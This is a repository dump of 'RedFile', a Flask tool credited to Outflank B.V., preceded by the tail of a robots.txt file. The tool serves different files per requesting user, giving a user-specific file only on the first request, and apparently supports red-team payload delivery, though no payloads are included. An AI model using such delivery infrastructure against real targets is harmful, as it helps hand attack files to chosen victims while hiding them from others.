/staticmap? 114 | Disallow: /maps/preview 115 | Disallow: /maps/place 116 | Disallow: /maps/search/ 117 | Disallow: /maps/dir/ 118 | Disallow: /maps/timeline/ 119 | Disallow: /help/maps/streetview/partners/welcome/ 120 | Disallow: /help/maps/indoormaps/partners/ 121 | Disallow: /lochp? 122 | Disallow: /center 123 | Disallow: /ie? 124 | Disallow: /blogsearch/ 125 | Disallow: /blogsearch_feeds 126 | Disallow: /advanced_blog_search 127 | Disallow: /uds/ 128 | Disallow: /chart? 129 | Disallow: /transit? 130 | Disallow: /extern_js/ 131 | Disallow: /xjs/ 132 | Disallow: /calendar/feeds/ 133 | Disallow: /calendar/ical/ 134 | Disallow: /cl2/feeds/ 135 | Disallow: /cl2/ical/ 136 | Disallow: /coop/directory 137 | Disallow: /coop/manage 138 | Disallow: /trends? 139 | Disallow: /trends/music? 140 | Disallow: /trends/hottrends? 141 | Disallow: /trends/viz? 142 | Disallow: /trends/embed.js? 143 | Disallow: /trends/fetchComponent? 144 | Disallow: /trends/beta 145 | Disallow: /trends/topics 146 | Disallow: /musica 147 | Disallow: /musicad 148 | Disallow: /musicas 149 | Disallow: /musicl 150 | Disallow: /musics 151 | Disallow: /musicsearch 152 | Disallow: /musicsp 153 | Disallow: /musiclp 154 | Disallow: /urchin_test/ 155 | Disallow: /movies? 156 | Disallow: /wapsearch? 157 | Allow: /safebrowsing/diagnostic 158 | Allow: /safebrowsing/report_badware/ 159 | Allow: /safebrowsing/report_error/ 160 | Allow: /safebrowsing/report_phish/ 161 | Disallow: /reviews/search? 162 | Disallow: /orkut/albums 163 | Disallow: /cbk 164 | Allow: /cbk?output=tile&cb_client=maps_sv 165 | Disallow: /maps/api/js/AuthenticationService.Authenticate 166 | Disallow: /maps/api/js/QuotaService.RecordEvent 167 | Disallow: /recharge/dashboard/car 168 | Disallow: /recharge/dashboard/static/ 169 | Disallow: /profiles/me 170 | Allow: /profiles 171 | Disallow: /s2/profiles/me 172 | Allow: /s2/profiles 173 | Allow: /s2/oz 174 | Allow: /s2/photos 175 | Allow: /s2/search/social 176 | Allow: /s2/static 177 | Disallow: /s2 178 | Disallow: /transconsole/portal/ 179 | Disallow: /gcc/ 180 | Disallow: /aclk 181 | Disallow: /cse? 182 | Disallow: /cse/home 183 | Disallow: /cse/panel 184 | Disallow: /cse/manage 185 | Disallow: /tbproxy/ 186 | Disallow: /imesync/ 187 | Disallow: /shenghuo/search? 188 | Disallow: /support/forum/search? 189 | Disallow: /reviews/polls/ 190 | Disallow: /hosted/images/ 191 | Disallow: /ppob/? 192 | Disallow: /ppob? 193 | Disallow: /accounts/ClientLogin 194 | Disallow: /accounts/ClientAuth 195 | Disallow: /accounts/o8 196 | Allow: /accounts/o8/id 197 | Disallow: /topicsearch?q= 198 | Disallow: /xfx7/ 199 | Disallow: /squared/api 200 | Disallow: /squared/search 201 | Disallow: /squared/table 202 | Disallow: /qnasearch? 203 | Disallow: /app/updates 204 | Disallow: /sidewiki/entry/ 205 | Disallow: /quality_form? 206 | Disallow: /labs/popgadget/search 207 | Disallow: /buzz/post 208 | Disallow: /compressiontest/ 209 | Disallow: /analytics/feeds/ 210 | Disallow: /analytics/partners/comments/ 211 | Disallow: /analytics/portal/ 212 | Disallow: /analytics/uploads/ 213 | Allow: /alerts/manage 214 | Allow: /alerts/remove 215 | Disallow: /alerts/ 216 | Allow: /alerts/$ 217 | Disallow: /ads/search? 218 | Disallow: /ads/plan/action_plan? 219 | Disallow: /ads/plan/api/ 220 | Disallow: /ads/hotels/partners 221 | Disallow: /phone/compare/? 222 | Disallow: /travel/clk 223 | Disallow: /hotelfinder/rpc 224 | Disallow: /hotels/rpc 225 | Disallow: /flights/rpc 226 | Disallow: /async/flights/ 227 | Disallow: /commercesearch/services/ 228 | Disallow: /evaluation/ 229 | Disallow: /chrome/browser/mobile/tour 230 | Disallow: /compare/*/apply* 231 | Disallow: /forms/perks/ 232 | Disallow: /shopping/suppliers/search 233 | Disallow: /ct/ 234 | Disallow: /edu/cs4hs/ 235 | Disallow: /trustedstores/s/ 236 | Disallow: /trustedstores/tm2 237 | Disallow: /trustedstores/verify 238 | Disallow: /adwords/proposal 239 | Disallow: /shopping/product/ 240 | Disallow: /shopping/seller 241 | Disallow: /shopping/reviewer 242 | Disallow: /about/careers/applications/ 243 | Disallow: /landing/signout.html 244 | Disallow: /webmasters/sitemaps/ping? 245 | Disallow: /ping? 246 | Disallow: /gallery/ 247 | Disallow: /landing/now/ontap/ 248 | Allow: /searchhistory/ 249 | Allow: /maps/reserve 250 | Allow: /maps/reserve/partners 251 | Disallow: /maps/reserve/api/ 252 | Disallow: /maps/reserve/search 253 | Disallow: /maps/reserve/bookings 254 | Disallow: /maps/reserve/settings 255 | Disallow: /maps/reserve/manage 256 | Disallow: /maps/reserve/payment 257 | Disallow: /maps/reserve/receipt 258 | Disallow: /maps/reserve/sellersignup 259 | Disallow: /maps/reserve/payments 260 | Disallow: /maps/reserve/feedback 261 | Disallow: /maps/reserve/terms 262 | Disallow: /maps/reserve/m/ 263 | Disallow: /maps/reserve/b/ 264 | Disallow: /maps/reserve/partner-dashboard 265 | Disallow: /about/views/ 266 | Disallow: /intl/*/about/views/ 267 | Disallow: /local/dining/ 268 | Disallow: /local/place/products/ 269 | Disallow: /local/place/reviews/ 270 | Disallow: /local/place/rap/ 271 | Disallow: /local/tab/ 272 | Disallow: /travel/hotels/ 273 | Allow: /finance 274 | Allow: /js/ 275 | Disallow: /finance?*q=* 276 | 277 | # Certain social media sites are whitelisted to allow crawlers to access page markup when links to google.com/imgres* are shared. To learn more, please contact images-robots-whitelist@google.com. 278 | User-agent: Twitterbot 279 | Allow: /imgres 280 | 281 | User-agent: facebookexternalhit 282 | Allow: /imgres 283 | 284 | Sitemap: http://www.gstatic.com/s2/sitemaps/profiles-sitemap.xml 285 | Sitemap: https://www.google.com/sitemap.xml 286 | -------------------------------------------------------------------------------- /code/m/onePerUser/__init__.py: -------------------------------------------------------------------------------- 1 | # Part of RedFile 2 | # 3 | # Author: Outflank B.V. / Mark Bergman / @xychix 4 | # 5 | # License : BSD3 6 | import shelve 7 | import codecs 8 | import os 9 | from hashlib import md5 10 | import helper 11 | import logging 12 | import requests 13 | 14 | ### CONSTANTS 15 | #log_host = "host.docker.internal" 16 | log_host = False 17 | logger = logging.getLogger("onePerUser") 18 | fh = logging.FileHandler('onePerUser.log') 19 | fh.setLevel(logging.INFO) 20 | logger.addHandler(fh) 21 | 22 | fileTable = { -1 : "error.txt"} 23 | for i in range(2,999): 24 | fileTable[i] = "default.txt" 25 | 26 | ## usage: 27 | # http://127.0.0.1:18080/onePerUser/?u=John 28 | # http://127.0.0.1:18080/onePerUser/?u=Alice 29 | # basic url or redirector.....................|modname|key.....|notused 30 | class f(): 31 | def __init__(self,module,req={}): 32 | self.userName = req.args.get('u') 33 | #self.key = key.encode("utf-8",'ignore') 34 | cwd = os.path.dirname(os.path.realpath(__file__)) 35 | self.folder = cwd 36 | self.scoreRes = self.score() 37 | if self.scoreRes in fileTable: 38 | self.returnFile = fileTable[self.scoreRes] 39 | else: # likely 1, that isn't in the table. 40 | if os.path.isfile("%s.txt"%self.userName): 41 | self.returnFile = "%s.txt"%self.userName 42 | else: 43 | self.returnFile = fileTable[-1] 44 | if log_host: 45 | r =requests.get('http://%s/log/sx_ll1/?mod=%s&served=%s&userName=%s&score%s'%(log_host,module,self.returnFile,self.userName,self.scoreRes)) 46 | logger.info('END module:%s served:%s user:%s score:%s %s'%(module,self.returnFile,self.userName,self.scoreRes,req.data)) 47 | 48 | def score(self): 49 | d = shelve.open('%s/data.shelve'%self.folder) 50 | if not self.userName in d.keys(): 51 | #the userName is new 52 | d[self.userName] = 1 53 | return(1) 54 | else: 55 | d[self.userName] += 1 56 | return(d[self.userName]) 57 | return(-1) 58 | 59 | def fileContent(self): 60 | ff = self.returnFile 61 | with open("%s/%s"%(self.folder,ff), 'rb') as f: 62 | #return("%s %s"%(self.returnFile,self.key)) ## useful for debugging 63 | return f.read() 64 | 65 | def fileType(self): 66 | ff = self.returnFile.split('.')[1] 67 | return(helper.getContentType(ff)) 68 | -------------------------------------------------------------------------------- /code/m/onePerUser/alice.txt: -------------------------------------------------------------------------------- 1 | Alice 2 | -------------------------------------------------------------------------------- /code/m/onePerUser/default.txt: -------------------------------------------------------------------------------- 1 | default -------------------------------------------------------------------------------- /code/m/onePerUser/error.txt: -------------------------------------------------------------------------------- 1 | error 2 | -------------------------------------------------------------------------------- /code/m/onePerUser/john.txt: -------------------------------------------------------------------------------- 1 | John 2 | -------------------------------------------------------------------------------- /code/m/test1/__init__.py: -------------------------------------------------------------------------------- 1 | # Part of RedFile 2 | # 3 | # Author: Outflank B.V. / Mark Bergman / @xychix 4 | # 5 | # License : BSD3 6 | import requests,json 7 | import helper 8 | 9 | ## usage: 10 | # http://127.0.0.1:18080/test1/one/two 11 | # basic url .....................|modname|key.....|notused 12 | class f(): 13 | def __init__(self,module,req=None): 14 | uaString = req.headers.get('User-Agent') 15 | temp = {'module':module} 16 | for k,v in req.headers: 17 | temp[str(k)] = str(v) 18 | temp['args'] = req.args.to_dict() 19 | temp['url'] = req.url 20 | self.auJson = json.loads(json.dumps(temp)) 21 | 22 | def fileContent(self): 23 | return json.dumps(self.auJson,sort_keys=True, indent=4) 24 | 25 | def fileType(self): 26 | return(helper.getContentType('json')) 27 | -------------------------------------------------------------------------------- /code/redFile.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Part of RedFile 3 | # 4 | # Author: Outflank B.V. / Mark Bergman / @xychix 5 | # 6 | # License : BSD3 7 | from flask import Flask, abort 8 | import werkzeug.exceptions as ex 9 | from flask import make_response, send_file 10 | import random 11 | import jinja2 12 | try: 13 | from StringIO import StringIO 14 | except ImportError: 15 | from io import StringIO 16 | 17 | from io import BytesIO 18 | import importlib 19 | from flask import request 20 | from flask_cors import CORS 21 | import os,sys 22 | import logging 23 | import traceback 24 | #import sys 25 | from werkzeug.routing import BaseConverter 26 | 27 | class WildcardConverter(BaseConverter): 28 | regex = r'(|/.*?)' 29 | weight = 200 30 | 31 | ### add CWD to path 32 | #cwd = os.path.dirname(os.path.realpath(__file__)) 33 | #sys.path.insert(0, cwd) 34 | 35 | #### logging test 36 | toFile = logging.FileHandler('log.log') 37 | toStderr = logging.StreamHandler() 38 | formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') 39 | toFile.setFormatter(formatter) 40 | toStderr.setFormatter(formatter) 41 | ### 42 | 43 | 44 | app = Flask(__name__) 45 | app.url_map.converters['wildcard'] = WildcardConverter 46 | logging.basicConfig(level=logging.DEBUG) 47 | CORS(app) 48 | app.logger.addHandler(toFile) 49 | app.logger.addHandler(toStderr) 50 | 51 | #sys.path.append('/code/m/') 52 | 53 | @app.route('/',methods=['GET','POST']) 54 | @app.route('/',methods=['GET','POST']) 55 | def genFile(module,restpath=None): 56 | try: 57 | app.logger.debug("importing m.%s"%module) 58 | m = importlib.import_module('m.%s'%module) 59 | except Exception as e: 60 | app.logger.error('Module %s not found'%(module)) 61 | app.logger.error('Went looking in %s'%sys.path) 62 | stackTrace = traceback.format_exc() 63 | app.logger.exception(e) 64 | abort(404) 65 | r = m.f(module,request) 66 | response = make_response(r.fileContent()) 67 | response.headers['Content-Type'] = r.fileType() 68 | return response 69 | 70 | @app.route('/static/') 71 | def staticlst(): 72 | from os import walk 73 | lst = [] 74 | for (a,b,c) in walk('static'): 75 | lst.extend(c) 76 | lst.extend(b) 77 | html="" 78 | for i in lst: 79 | html += "%s
"%(i,i) 80 | html += "" 81 | return(html) 82 | 83 | if __name__ == '__main__': 84 | #app.run(host='0.0.0.0',port=18081) 85 | app.run(host='0.0.0.0',port=8000,debug=True) 86 | -------------------------------------------------------------------------------- /code/redFile.wsgi: -------------------------------------------------------------------------------- 1 | import sys 2 | sys.path.insert(0, '/home/USER/PROJECTS/redFile') 3 | from downloader import app as application 4 | -------------------------------------------------------------------------------- /code/requirements.txt: -------------------------------------------------------------------------------- 1 | click==7.1.1 2 | Flask==1.1.2 3 | Flask-Cors==3.0.8 4 | itsdangerous==1.1.0 5 | Jinja2==2.11.2 6 | MarkupSafe==1.1.1 7 | Werkzeug==1.0.1 8 | gunicorn==20.0.4 9 | requests==2.23.0 10 | base58==2.0.1 11 | -------------------------------------------------------------------------------- /code/wsgi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # for gunicorn 3 | import sys 4 | sys.path.insert(0, '/code/') 5 | 6 | from redFile import app 7 | 8 | if __name__ == "__main__": 9 | app.run() 10 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | # Run as 4 | # docker-compose build; docker-compose up -d 5 | # Check with 6 | # docker ps 7 | # Then check the logs with 8 | # docker logs --tail 50 $service_name 9 | # docker-compose images 10 | # docker-compose logs --tail 20 $service_name 11 | 12 | services: 13 | redfile: 14 | build: 15 | context: . 16 | dockerfile: Dockerfile-REDFILE 17 | volumes: 18 | - ./code/:/code/ 19 | ports: 20 | - 8001:8000 21 | networks: 22 | - app-tier 23 | command: 24 | /usr/bin/tail -f /var/log/lastlog 25 | extra_hosts: 26 | - host.docker.internal:host-gateway 27 | 28 | networks: 29 | app-tier: 30 | driver: bridge 31 | --------------------------------------------------------------------------------